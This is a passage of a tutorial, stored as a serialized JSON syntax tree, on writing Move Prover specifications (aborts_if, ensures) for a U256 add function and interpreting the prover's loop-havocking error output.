P64\n",{"type":23,"tag":134,"props":9332,"children":9333},{"class":136,"line":479},[9334],{"type":23,"tag":134,"props":9335,"children":9336},{"style":179},[9337],{"type":28,"value":1098},{"type":23,"tag":134,"props":9339,"children":9340},{"class":136,"line":497},[9341],{"type":23,"tag":134,"props":9342,"children":9343},{"emptyLinePlaceholder":15},[9344],{"type":28,"value":865},{"type":23,"tag":134,"props":9346,"children":9347},{"class":136,"line":518},[9348,9352,9356],{"type":23,"tag":134,"props":9349,"children":9350},{"style":162},[9351],{"type":28,"value":7734},{"type":23,"tag":134,"props":9353,"children":9354},{"style":162},[9355],{"type":28,"value":9044},{"type":23,"tag":134,"props":9357,"children":9358},{"style":179},[9359],{"type":28,"value":463},{"type":23,"tag":134,"props":9361,"children":9362},{"class":136,"line":527},[9363,9368,9372,9376,9380,9384,9388,9392,9396,9400,9404,9409,9413,9417,9421,9425,9429,9433,9437],{"type":23,"tag":134,"props":9364,"children":9365},{"style":162},[9366],{"type":28,"value":9367},"    aborts_if",{"type":23,"tag":134,"props":9369,"children":9370},{"style":264},[9371],{"type":28,"value":9168},{"type":23,"tag":134,"props":9373,"children":9374},{"style":179},[9375],{"type":28,"value":272},{"type":23,"tag":134,"props":9377,"children":9378},{"style":162},[9379],{"type":28,"value":31},{"type":23,"tag":134,"props":9381,"children":9382},{"style":179},[9383],{"type":28,"value":252},{"type":23,"tag":134,"props":9385,"children":9386},{"style":168},[9387],{"type":28,"value":1586},{"type":23,"tag":134,"props":9389,"children":9390},{"style":264},[9391],{"type":28,"value":9168},{"type":23,"tag":134,"props":9393,"children":9394},{"style":179},[9395],{"type":28,"value":272},{"type":23,"tag":134,"props":9397,"children":9398},{"style":162},[9399],{"type":28,"value":393},{"type":23,"tag":134,"props":9401,"children":9402},{"style":179},[9403],{"type":28,"value":252},{"type":23,"tag":134,"props":9405,"children":9406},{"style":168},[9407],{"type":28,"value":9408},">=",{"type":23,"tag":134,"props":9410,"children":9411},{"style":597},[9412],{"type":28,"value":9124},{"type":23,"tag":134,"props":9414,"children":9415},{"style":168},[9416],{"type":28,"value":9281},{"type":23,"tag":134,"props":9418,"children":9419},{"style":597},[9420],{"type":28,"value":9124},{"type":23,"tag":134,"props":9422,"children":9423},{"style":168},[9424],{"type":28,"value":9281},{"type":23,"tag":134,"props":9426,"children":9427},{"style":597},[9428],{"type":28,"value":9124},{"type":23,"tag":134,"props":9430,"children":9431},{"style":168},[9432],{"type":28,"value":9281},{"type":23,"tag":134,"props":9434,"children":9435},{"style":597},[9436],{"type":28,"value":9124},{"type":23,"tag":134,"props":9438,"children":9439},{"style":179},[9440],{"type":28,"value":182},{"type":23,"tag":134,"props":9442,"children":9443},{"class":136,"line":780},[9444],{"type":23,"tag":134,"props":9445,"children":9446},{"style":179},[9447],{"type":28,"value":1098},{"type":23,"tag":24,"props":9449,"children":9450},{},[9451,9453,9460],{"type":28,"value":9452},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":31,"props":9454,"children":9457},{"href":9455,"rel":9456},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[35],[9458],{"type":28,"value":9459},"MSL function",{"type":28,"value":9461},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":24,"props":9463,"children":9464},{},[9465,9467,9472,9473,9478],{"type":28,"value":9466},"A common pattern for ",{"type":23,"tag":92,"props":9468,"children":9470},{"className":9469},[],[9471],{"type":28,"value":7784},{"type":28,"value":4956},{"type":23,"tag":92,"props":9474,"children":9476},{"className":9475},[],[9477],{"type":28,"value":7792},{"type":28,"value":9479},", which lets you prove that a function will never abort.",{"type":23,"tag":87,"props":9481,"children":9483},{"code":9482,"language":127,"meta":7,"className":128,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[9484],{"type":23,"tag":92,"props":9485,"children":9486},{"__ignoreMap":7},[9487,9503,9518],{"type":23,"tag":134,"props":9488,"children":9489},{"class":136,"line":137},[9490,9494,9499],{"type":23,"tag":134,"props":9491,"children":9492},{"style":162},[9493],{"type":28,"value":7734},{"type":23,"tag":134,"props":9495,"children":9496},{"style":162},[9497],{"type":28,"value":9498}," critical_function",{"type":23,"tag":134,"props":9500,"children":9501},{"style":179},[9502],{"type":28,"value":463},{"type":23,"tag":134,"props":9504,"children":9505},{"class":136,"line":147},[9506,9510,9514],{"type":23,"tag":134,"props":9507,"children":9508},{"style":162},[9509],{"type":28,"value":9367},{"type":23,"tag":134,"props":9511,"children":9512},{"style":151},[9513],{"type":28,"value":8519},{"type":23,"tag":134,"props":9515,"children":9516},{"style":179},[9517],{"type":28,"value":182},{"type":23,"tag":134,"props":9519,"children":9520},{"class":136,"line":185},[9521],{"type":23,"tag":134,"props":9522,"children":9523},{"style":179},[9524],{"type":28,"value":1098},{"type":23,"tag":24,"props":9526,"children":9527},{},[9528,9530,9536],{"type":28,"value":9529},"Another type of expression that we can use is ",{"type":23,"tag":92,"props":9531,"children":9533},{"className":9532},[],[9534],{"type":28,"value":9535},"ensures",{"type":28,"value":9537},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":23,"tag":24,"props":9539,"children":9540},{},[9541,9543,9548,9550,9555],{"type":28,"value":9542},"In the case of the ",{"type":23,"tag":92,"props":9544,"children":9546},{"className":9545},[],[9547],{"type":28,"value":9102},{"type":28,"value":9549}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":2532,"props":9551,"children":9552},{},[9553],{"type":28,"value":9554},"MSL uses unbounded numbers",{"type":28,"value":9556},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":87,"props":9558,"children":9560},{"code":9559,"language":127,"meta":7,"className":128,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[9561],{"type":23,"tag":92,"props":9562,"children":9563},{"__ignoreMap":7},[9564,9579,9658,9722],{"type":23,"tag":134,"props":9565,"children":9566},{"class":136,"line":137},[9567,9571,9575],{"type":23,"tag":134,"props":9568,"children":9569},{"style":162},[9570],{"type":28,"value":7734},{"type":23,"tag":134,"props":9572,"children":9573},{"style":162},[9574],{"type":28,"value":9044},{"type":23,"tag":134,"props":9576,"children":9577},{"style":179},[9578],{"type":28,"value":463},{"type":23,"tag":134,"props":9580,"children":9581},{"class":136,"line":147},[9582,9586,9590,9594,9598,9602,9606,9610,9614,9618,9622,9626,9630,9634,9638,9642,9646,9650,9654],{"type":23,"tag":134,"props":9583,"children":9584},{"style":162},[9585],{"type":28,"value":9367},{"type":23,"tag":134,"props":9587,"children":9588},{"style":264},[9589],{"type":28,"value":9168},{"type":23,"tag":134,"props":9591,"children":9592},{"style":179},[9593],{"type":28,"value":272},{"type":23,"tag":134,"props":9595,"children":9596},{"style":162},[9597],{"type":28,"value":31},{"type":23,"tag":134,"props":9599,"children":9600},{"style":179},[9601],{"type":28,"value":252},{"type":23,"tag":134,"props":9603,"children":9604},{"style":168},[9605],{"type":28,"value":1586},{"type":23,"tag":134,"props":9607,"children":9608},{"style":264},[9609],{"type":28,"value":9168},{"type":23,"tag":134,"props":9611,"children":9612},{"style":179},[9613],{"type":28,"value":272},{"type":23,"tag":134,"props":9615,"children":9616},{"style":162},[9617],{"type":28,"value":393},{"type":23,"tag":134,"props":9619,"children":9620},{"style":179},[9621],{"type":28,"value":252},{"type":23,"tag":134,"props":9623,"children":9624},{"style":168},[9625],{"type":28,"value":9408},{"type":23,"tag":134,"props":9627,"children":9628},{"style":597},[9629],{"type":28,"value":9124},{"type":23,"tag":134,"props":9631,"children":9632},{"style":168},[9633],{"type":28,"value":9281},{"type":23,"tag":134,"props":9635,"children":9636},{"style":597},[9637],{"type":28,"value":9124},{"type":23,"tag":134,"props":9639,"children":9640},{"style":168},[9641],{"type":28,"value":9281},{"type":23,"tag":134,"props":9643,"children":9644},{"style":597},[9645],{"type":28,"value":9124},{"type":23,"tag":134,"props":9647,"children":9648},{"style":168},[9649],{"type":28,"value":9281},{"type":23,"tag":134,"props":9651,"children":9652},{"style":597},[9653],{"type":28,"value":9124},{"type":23,"tag":134,"props":9655,"children":9656},{"style":179},[9657],{"type":28,"value":182},{"type":23,"tag":134,"props":9659,"children":9660},{"class":136,"line":185},[9661,9666,9670,9674,9678,9682,9686,9690,9694,9698,9702,9706,9710,9714,9718],{"type":23,"tag":134,"props":9662,"children":9663},{"style":162},[9664],{"type":28,"value":9665},"    ensures",{"type":23,"tag":134,"props":9667,"children":9668},{"style":264},[9669],{"type":28,"value":9168},{"type":23,"tag":134,"props":9671,"children":9672},{"style":179},[9673],{"type":28,"value":272},{"type":23,"tag":134,"props":9675,"children":9676},{"style":162},[9677],{"type":28,"value":8544},{"type":23,"tag":134,"props":9679,"children":9680},{"style":179},[9681],{"type":28,"value":252},{"type":23,"tag":134,"props":9683,"children":9684},{"style":168},[9685],{"type":28,"value":8035},{"type":23,"tag":134,"props":9687,"children":9688},{"style":264},[9689],{"type":28,"value":9168},{"type":23,"tag":134,"props":9691,"children":9692},{"style":179},[9693],{"type":28,"value":272},{"type":23,"tag":134,"props":9695,"children":9696},{"style":162},[9697],{"type":28,"value":31},{"type":23,"tag":134,"props":9699,"children":9700},{"style":179},[9701],{"type":28,"value":252},{"type":23,"tag":134,"props":9703,"children":9704},{"style":168},[9705],{"type":28,"value":1586},{"type":23,"tag":134,"props":9707,"children":9708},{"style":264},[9709],{"type":28,"value":9168},{"type":23,"tag":134,"props":9711,"children":9712},{"style":179},[9713],{"type":28,"value":272},{"type":23,"tag":134,"props":9715,"children":9716},{"style":162},[9717],{"type":28,"value":393},{"type":23,"tag":134,"props":9719,"children":9720},{"style":179},[9721],{"type":28,"value":1021},{"type":23,"tag":134,"props":9723,"children":9724},{"class":136,"line":221},[9725],{"type":23,"tag":134,"props":9726,"children":9727},{"style":179},[9728],{"type":28,"value":1098},{"type":23,"tag":24,"props":9730,"children":9731},{},[9732],{"type":28,"value":9733},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":24,"props":9735,"children":9736},{},[9737],{"type":28,"value":9738},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":87,"props":9740,"children":9742},{"code":9741,"language":1446,"meta":7,"className":1447,"style":7},"$ move prove\n",[9743],{"type":23,"tag":92,"props":9744,"children":9745},{"__ignoreMap":7},[9746],{"type":23,"tag":134,"props":9747,"children":9748},{"class":136,"line":137},[9749,9754,9759],{"type":23,"tag":134,"props":9750,"children":9751},{"style":264},[9752],{"type":28,"value":9753},"$",{"type":23,"tag":134,"props":9755,"children":9756},{"style":1461},[9757],{"type":28,"value":9758}," move",{"type":23,"tag":134,"props":9760,"children":9761},{"style":1461},[9762],{"type":28,"value":9763}," prove\n",{"type":23,"tag":24,"props":9765,"children":9766},{},[9767],{"type":28,"value":9768},"It outputs the following error information:",{"type":23,"tag":87,"props":9770,"children":9772},{"code":9771,"language":1446,"meta":7,"className":1447,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[9773],{"type":23,"tag":92,"props":9774,"children":9775},{"__ignoreMap":7},[9776,9784,9791,9853,9874,9964,10032,10044,10052,10059,10066,10073,10091,10152,10169,10186,10258,10274,10282,10289,10339,10347,10364],{"type":23,"tag":134,"props":9777,"children":9778},{"class":136,"line":137},[9779],{"type":23,"tag":134,"props":9780,"children":9781},{"style":179},[9782],{"type":28,"value":9783},"[...]\n",{"type":23,"tag":134,"props":9785,"children":9786},{"class":136,"line":147},[9787],{"type":23,"tag":134,"props":9788,"children":9789},{"emptyLinePlaceholder":15},[9790],{"type":28,"value":865},{"type":23,"tag":134,"props":9792,"children":9793},{"class":136,"line":185},[9794,9799,9804,9809,9814,9819,9824,9829,9834,9839,9843,9848],{"type":23,"tag":134,"props":9795,"children":9796},{"style":264},[9797],{"type":28,"value":9798},"error:",{"type":23,"tag":134,"props":9800,"children":9801},{"style":1461},[9802],{"type":28,"value":9803}," abort",{"type":23,"tag":134,"props":9805,"children":9806},{"style":1461},[9807],{"type":28,"value":9808}," not",{"type":23,"tag":134,"props":9810,"children":9811},{"style":1461},[9812],{"type":28,"value":9813}," covered",{"type":23,"tag":134,"props":9815,"children":9816},{"style":1461},[9817],{"type":28,"value":9818}," by",{"type":23,"tag":134,"props":9820,"children":9821},{"style":1461},[9822],{"type":28,"value":9823}," any",{"type":23,"tag":134,"props":9825,"children":9826},{"style":1461},[9827],{"type":28,"value":9828}," of",{"type":23,"tag":134,"props":9830,"children":9831},{"style":1461},[9832],{"type":28,"value":9833}," the",{"type":23,"tag":134,"props":9835,"children":9836},{"style":1461},[9837],{"type":28,"value":9838}," `",{"type":23,"tag":134,"props":9840,"children":9841},{"style":264},[9842],{"type":28,"value":7784},{"type":23,"tag":134,"props":9844,"children":9845},{"style":1461},[9846],{"type":28,"value":9847},"`",{"type":23,"tag":134,"props":9849,"children":9850},{"style":264},[9851],{"type":28,"value":9852}," clauses\n",{"type":23,"tag":134,"props":9854,"children":9855},{"class":136,"line":221},[9856,9861,9866,9870],{"type":23,"tag":134,"props":9857,"children":9858},{"style":264},[9859],{"type":28,"value":9860},"╭",{"type":23,"tag":134,"props":9862,"children":9863},{"style":1461},[9864],{"type":28,"value":9865},"     spec",{"type":23,"tag":134,"props":9867,"children":9868},{"style":1461},[9869],{"type":28,"value":9044},{"type":23,"tag":134,"props":9871,"children":9872},{"style":1461},[9873],{"type":28,"value":463},{"type":23,"tag":134,"props":9875,"children":9876},{"class":136,"line":332},[9877,9882,9887,9891,9895,9899,9903,9907,9911,9915,9919,9923,9928,9932,9936,9940,9944,9948,9952,9956,9960],{"type":23,"tag":134,"props":9878,"children":9879},{"style":168},[9880],{"type":28,"value":9881},"|",{"type":23,"tag":134,"props":9883,"children":9884},{"style":264},[9885],{"type":28,"value":9886},"         aborts_if",{"type":23,"tag":134,"props":9888,"children":9889},{"style":1461},[9890],{"type":28,"value":9168},{"type":23,"tag":134,"props":9892,"children":9893},{"style":179},[9894],{"type":28,"value":272},{"type":23,"tag":134,"props":9896,"children":9897},{"style":264},[9898],{"type":28,"value":31},{"type":23,"tag":134,"props":9900,"children":9901},{"style":179},[9902],{"type":28,"value":252},{"type":23,"tag":134,"props":9904,"children":9905},{"style":1461},[9906],{"type":28,"value":1586},{"type":23,"tag":134,"props":9908,"children":9909},{"style":1461},[9910],{"type":28,"value":9168},{"type":23,"tag":134,"props":9912,"children":9913},{"style":179},[9914],{"type":28,"value":272},{"type":23,"tag":134,"props":9916,"children":9917},{"style":264},[9918],{"type":28,"value":393},{"type":23,"tag":134,"props":9920,"children":9921},{"style":179},[9922],{"type":28,"value":252},{"type":23,"tag":134,"props":9924,"children":9925},{"style":168},[9926],{"type":28,"value":9927},">",{"type":23,"tag":134,"props":9929,"children":9930},{"style":1461},[9931],{"type":28,"value":257},{"type":23,"tag":134,"props":9933,"children":9934},{"style":1461},[9935],{"type":28,"value":9124},{"type":23,"tag":134,"props":9937,"children":9938},{"style":151},[9939],{"type":28,"value":9281},{"type":23,"tag":134,"props":9941,"children":9942},{"style":1461},[9943],{"type":28,"value":9124},{"type":23,"tag":134,"props":9945,"children":9946},{"style":151},[9947],{"type":28,"value":9281},{"type":23,"tag":134,"props":9949,"children":9950},{"style":1461},[9951],{"type":28,"value":9124},{"type":23,"tag":134,"props":9953,"children":9954},{"style":151},[9955],{"type":28,"value":9281},{"type":23,"tag":134,"props":9957,"children":9958},{"style":1461},[9959],{"type":28,"value":9124},{"type":23,"tag":134,"props":9961,"children":9962},{"style":179},[9963],{"type":28,"value":182},{"type":23,"tag":134,"props":9965,"children":9966},{"class":136,"line":438},[9967,9971,9976,9980,9984,9988,9992,9996,10000,10004,10008,10012,10016,10020,10024,10028],{"type":23,"tag":134,"props":9968,"children":9969},{"style":168},[9970],{"type":28,"value":9881},{"type":23,"tag":134,"props":9972,"children":9973},{"style":264},[9974],{"type":28,"value":9975},"         ensures",{"type":23,"tag":134,"props":9977,"children":9978},{"style":1461},[9979],{"type":28,"value":9168},{"type":23,"tag":134,"props":9981,"children":9982},{"style":179},[9983],{"type":28,"value":272},{"type":23,"tag":134,"props":9985,"children":9986},{"style":264},[9987],{"type":28,"value":8544},{"type":23,"tag":134,"props":9989,"children":9990},{"style":179},[9991],{"type":28,"value":252},{"type":23,"tag":134,"props":9993,"children":9994},{"style":1461},[9995],{"type":28,"value":8035},{"type":23,"tag":134,"props":9997,"children":9998},{"style":1461},[9999],{"type":28,"value":9168},{"type":23,"tag":134,"props":10001,"children":10002},{"style":179},[10003],{"type":28,"value":272},{"type":23,"tag":134,"props":10005,"children":10006},{"style":264},[10007],{"type":28,"value":31},{"type":23,"tag":134,"props":10009,"children":10010},{"style":179},[10011],{"type":28,"value":252},{"type":23,"tag":134,"props":10013,"children":10014},{"style":1461},[10015],{"type":28,"value":1586},{"type":23,"tag":134,"props":10017,"children":10018},{"style":1461},[10019],{"type":28,"value":9168},{"type":23,"tag":134,"props":10021,"children":10022},{"style":179},[10023],{"type":28,"value":272},{"type":23,"tag":134,"props":10025,"children":10026},{"style":264},[10027],{"type":28,"value":393},{"type":23,"tag":134,"props":10029,"children":10030},{"style":179},[10031],{"type":28,"value":1021},{"type":23,"tag":134,"props":10033,"children":10034},{"class":136,"line":466},[10035,10039],{"type":23,"tag":134,"props":10036,"children":10037},{"style":168},[10038],{"type":28,"value":9881},{"type":23,"tag":134,"props":10040,"children":10041},{"style":179},[10042],{"type":28,"value":10043},"     }\n",{"type":23,"tag":134,"props":10045,"children":10046},{"class":136,"line":479},[10047],{"type":23,"tag":134,"props":10048,"children":10049},{"style":264},[10050],{"type":28,"value":10051},"╰─────^\n",{"type":23,"tag":134,"props":10053,"children":10054},{"class":136,"line":497},[10055],{"type":23,"tag":134,"props":10056,"children":10057},{"emptyLinePlaceholder":15},[10058],{"type":28,"value":865},{"type":23,"tag":134,"props":10060,"children":10061},{"class":136,"line":518},[10062],{"type":23,"tag":134,"props":10063,"children":10064},{"style":179},[10065],{"type":28,"value":9783},{"type":23,"tag":134,"props":10067,"children":10068},{"class":136,"line":527},[10069],{"type":23,"tag":134,"props":10070,"children":10071},{"emptyLinePlaceholder":15},[10072],{"type":28,"value":865},{"type":23,"tag":134,"props":10074,"children":10075},{"class":136,"line":780},[10076,10081,10086],{"type":23,"tag":134,"props":10077,"children":10078},{"style":264},[10079],{"type":28,"value":10080}," at",{"type":23,"tag":134,"props":10082,"children":10083},{"style":1461},[10084],{"type":28,"value":10085}," ./sources/u256.move:316:",{"type":23,"tag":134,"props":10087,"children":10088},{"style":1461},[10089],{"type":28,"value":10090}," add\n",{"type":23,"tag":134,"props":10092,"children":10093},{"class":136,"line":797},[10094,10099,10104,10109,10113,10118,10122,10127,10132,10137,10142,10147],{"type":23,"tag":134,"props":10095,"children":10096},{"style":264},[10097],{"type":28,"value":10098}," enter",{"type":23,"tag":134,"props":10100,"children":10101},{"style":1461},[10102],{"type":28,"value":10103}," loop,",{"type":23,"tag":134,"props":10105,"children":10106},{"style":1461},[10107],{"type":28,"value":10108}," variable",{"type":23,"tag":134,"props":10110,"children":10111},{"style":179},[10112],{"type":28,"value":272},{"type":23,"tag":134,"props":10114,"children":10115},{"style":264},[10116],{"type":28,"value":10117},"s",{"type":23,"tag":134,"props":10119,"children":10120},{"style":179},[10121],{"type":28,"value":252},{"type":23,"tag":134,"props":10123,"children":10124},{"style":1461},[10125],{"type":28,"value":10126},"carry,",{"type":23,"tag":134,"props":10128,"children":10129},{"style":1461},[10130],{"type":28,"value":10131}," i,",{"type":23,"tag":134,"props":10133,"children":10134},{"style":1461},[10135],{"type":28,"value":10136}," ret",{"type":23,"tag":134,"props":10138,"children":10139},{"style":1461},[10140],{"type":28,"value":10141}," havocked",{"type":23,"tag":134,"props":10143,"children":10144},{"style":1461},[10145],{"type":28,"value":10146}," and",{"type":23,"tag":134,"props":10148,"children":10149},{"style":1461},[10150],{"type":28,"value":10151}," reassigned\n",{"type":23,"tag":134,"props":10153,"children":10154},{"class":136,"line":814},[10155,10160,10164],{"type":23,"tag":134,"props":10156,"children":10157},{"style":264},[10158],{"type":28,"value":10159},"     carry",{"type":23,"tag":134,"props":10161,"children":10162},{"style":1461},[10163],{"type":28,"value":171},{"type":23,"tag":134,"props":10165,"children":10166},{"style":205},[10167],{"type":28,"value":10168}," 54\n",{"type":23,"tag":134,"props":10170,"children":10171},{"class":136,"line":827},[10172,10177,10181],{"type":23,"tag":134,"props":10173,"children":10174},{"style":264},[10175],{"type":28,"value":10176},"     i",{"type":23,"tag":134,"props":10178,"children":10179},{"style":1461},[10180],{"type":28,"value":171},{"type":23,"tag":134,"props":10182,"children":10183},{"style":205},[10184],{"type":28,"value":10185}," 3792\n",{"type":23,"tag":134,"props":10187,"children":10188},{"class":136,"line":836},[10189,10194,10198,10203,10207,10212,10217,10221,10226,10231,10235,10240,10245,10249,10254],{"type":23,"tag":134,"props":10190,"children":10191},{"style":264},[10192],{"type":28,"value":10193},"     ret",{"type":23,"tag":134,"props":10195,"children":10196},{"style":1461},[10197],{"type":28,"value":171},{"type":23,"tag":134,"props":10199,"children":10200},{"style":1461},[10201],{"type":28,"value":10202}," u256.U256{v0",{"type":23,"tag":134,"props":10204,"children":10205},{"style":1461},[10206],{"type":28,"value":171},{"type":23,"tag":134,"props":10208,"children":10209},{"style":1461},[10210],{"type":28,"value":10211}," 26418,",{"type":23,"tag":134,"props":10213,"children":10214},{"style":1461},[10215],{"type":28,"value":10216}," v1",{"type":23,"tag":134,"props":10218,"children":10219},{"style":1461},[10220],{"type":28,"value":171},{"type":23,"tag":134,"props":10222,"children":10223},{"style":1461},[10224],{"type":28,"value":10225}," 27938,",{"type":23,"tag":134,"props":10227,"children":10228},{"style":1461},[10229],{"type":28,"value":10230}," v2",{"type":23,"tag":134,"props":10232,"children":10233},{"style":1461},[10234],{"type":28,"value":171},{"type":23,"tag":134,"props":10236,"children":10237},{"style":1461},[10238],{"type":28,"value":10239}," 6900,",{"type":23,"tag":134,"props":10241,"children":10242},{"style":1461},[10243],{"type":28,"value":10244}," v3",{"type":23,"tag":134,"props":10246,"children":10247},{"style":1461},[10248],{"type":28,"value":171},{"type":23,"tag":134,"props":10250,"children":10251},{"style":205},[10252],{"type":28,"value":10253}," 1999",{"type":23,"tag":134,"props":10255,"children":10256},{"style":1461},[10257],{"type":28,"value":1098},{"type":23,"tag":134,"props":10259,"children":10260},{"class":136,"line":859},[10261,10265,10270],{"type":23,"tag":134,"props":10262,"children":10263},{"style":264},[10264],{"type":28,"value":10080},{"type":23,"tag":134,"props":10266,"children":10267},{"style":1461},[10268],{"type":28,"value":10269}," ./sources/u256.move:346:",{"type":23,"tag":134,"props":10271,"children":10272},{"style":1461},[10273],{"type":28,"value":10090},{"type":23,"tag":134,"props":10275,"children":10276},{"class":136,"line":868},[10277],{"type":23,"tag":134,"props":10278,"children":10279},{"style":264},[10280],{"type":28,"value":10281},"     ABORTED\n",{"type":23,"tag":134,"props":10283,"children":10284},{"class":136,"line":877},[10285],{"type":23,"tag":134,"props":10286,"children":10287},{"emptyLinePlaceholder":15},[10288],{"type":28,"value":865},{"type":23,"tag":134,"props":10290,"children":10291},{"class":136,"line":946},[10292,10297,10302,10306,10311,10316,10321,10325,10330,10334],{"type":23,"tag":134,"props":10293,"children":10294},{"style":264},[10295],{"type":28,"value":10296},"FAILURE",{"type":23,"tag":134,"props":10298,"children":10299},{"style":1461},[10300],{"type":28,"value":10301}," proving",{"type":23,"tag":134,"props":10303,"children":10304},{"style":205},[10305],{"type":28,"value":1729},{"type":23,"tag":134,"props":10307,"children":10308},{"style":1461},[10309],{"type":28,"value":10310}," modules",{"type":23,"tag":134,"props":10312,"children":10313},{"style":1461},[10314],{"type":28,"value":10315}," from",{"type":23,"tag":134,"props":10317,"children":10318},{"style":1461},[10319],{"type":28,"value":10320}," package",{"type":23,"tag":134,"props":10322,"children":10323},{"style":1461},[10324],{"type":28,"value":9838},{"type":23,"tag":134,"props":10326,"children":10327},{"style":264},[10328],{"type":28,"value":10329},"u256",{"type":23,"tag":134,"props":10331,"children":10332},{"style":1461},[10333],{"type":28,"value":9847},{"type":23,"tag":134,"props":10335,"children":10336},{"style":179},[10337],{"type":28,"value":10338}," in 9.143s\n",{"type":23,"tag":134,"props":10340,"children":10341},{"class":136,"line":954},[10342],{"type":23,"tag":134,"props":10343,"children":10344},{"style":179},[10345],{"type":28,"value":10346},"{\n",{"type":23,"tag":134,"props":10348,"children":10349},{"class":136,"line":984},[10350,10355,10359],{"type":23,"tag":134,"props":10351,"children":10352},{"style":264},[10353],{"type":28,"value":10354},"    \"Error\"",{"type":23,"tag":134,"props":10356,"children":10357},{"style":264},[10358],{"type":28,"value":1697},{"type":23,"tag":134,"props":10360,"children":10361},{"style":1461},[10362],{"type":28,"value":10363}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":134,"props":10365,"children":10366},{"class":136,"line":992},[10367],{"type":23,"tag":134,"props":10368,"children":10369},{"style":179},[10370],{"type":28,"value":1098},{"type":23,"tag":24,"props":10372,"children":10373},{},[10374,10376,10381],{"type":28,"value":10375},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":92,"props":10377,"children":10379},{"className":10378},[],[10380],{"type":28,"value":7784},{"type":28,"value":10382}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":24,"props":10384,"children":10385},{},[10386,10388,10394],{"type":28,"value":10387},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":92,"props":10389,"children":10391},{"className":10390},[],[10392],{"type":28,"value":10393},"ret havocked and reassigned",{"type":28,"value":720},{"type":23,"tag":24,"props":10396,"children":10397},{},[10398],{"type":28,"value":10399},"What does this mean?",{"type":23,"tag":24,"props":10401,"children":10402},{},[10403,10405,10412],{"type":28,"value":10404},"By diving into the Move Prover source, we find a ",{"type":23,"tag":31,"props":10406,"children":10409},{"href":10407,"rel":10408},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[35],[10410],{"type":28,"value":10411},"likely suspect",{"type":28,"value":10413},". The prover attempts to prove all loops with induction!",{"type":23,"tag":24,"props":10415,"children":10416},{},[10417],{"type":28,"value":10418},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":4890,"props":10420,"children":10421},{},[10422,10427],{"type":23,"tag":4894,"props":10423,"children":10424},{},[10425],{"type":28,"value":10426},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":4894,"props":10428,"children":10429},{},[10430],{"type":28,"value":10431},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":24,"props":10433,"children":10434},{},[10435,10437,10442,10444,10450,10451,10457,10459,10464,10466,10471],{"type":28,"value":10436},"The loop prover will also ",{"type":23,"tag":2532,"props":10438,"children":10439},{},[10440],{"type":28,"value":10441},"havoc, or assign random values to, all variables written to inside the loop",{"type":28,"value":10443},". Going back to the log message, this implies that the variables ",{"type":23,"tag":92,"props":10445,"children":10447},{"className":10446},[],[10448],{"type":28,"value":10449},"carry",{"type":28,"value":242},{"type":23,"tag":92,"props":10452,"children":10454},{"className":10453},[],[10455],{"type":28,"value":10456},"ret",{"type":28,"value":10458}," and ",{"type":23,"tag":92,"props":10460,"children":10462},{"className":10461},[],[10463],{"type":28,"value":929},{"type":28,"value":10465}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":92,"props":10467,"children":10469},{"className":10468},[],[10470],{"type":28,"value":9102},{"type":28,"value":10472}," makes no sense.",{"type":23,"tag":24,"props":10474,"children":10475},{},[10476],{"type":28,"value":10477},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":4890,"props":10479,"children":10480},{},[10481,10486,10491,10496,10501,10506],{"type":23,"tag":4894,"props":10482,"children":10483},{},[10484],{"type":28,"value":10485},"Assert the loop invariant",{"type":23,"tag":4894,"props":10487,"children":10488},{},[10489],{"type":28,"value":10490},"Havoc all modified variables",{"type":23,"tag":4894,"props":10492,"children":10493},{},[10494],{"type":28,"value":10495},"Assume the loop invariant",{"type":23,"tag":4894,"props":10497,"children":10498},{},[10499],{"type":28,"value":10500},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":4894,"props":10502,"children":10503},{},[10504],{"type":28,"value":10505},"Run the loop body",{"type":23,"tag":4894,"props":10507,"children":10508},{},[10509],{"type":28,"value":10485},{"type":23,"tag":24,"props":10511,"children":10512},{},[10513],{"type":28,"value":10514},"There are two approaches to dealing with loops.",{"type":23,"tag":24,"props":10516,"children":10517},{},[10518],{"type":28,"value":10519},"The first would be to specify a loop invariant.",{"type":23,"tag":24,"props":10521,"children":10522},{},[10523,10525,10532],{"type":28,"value":10524},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our 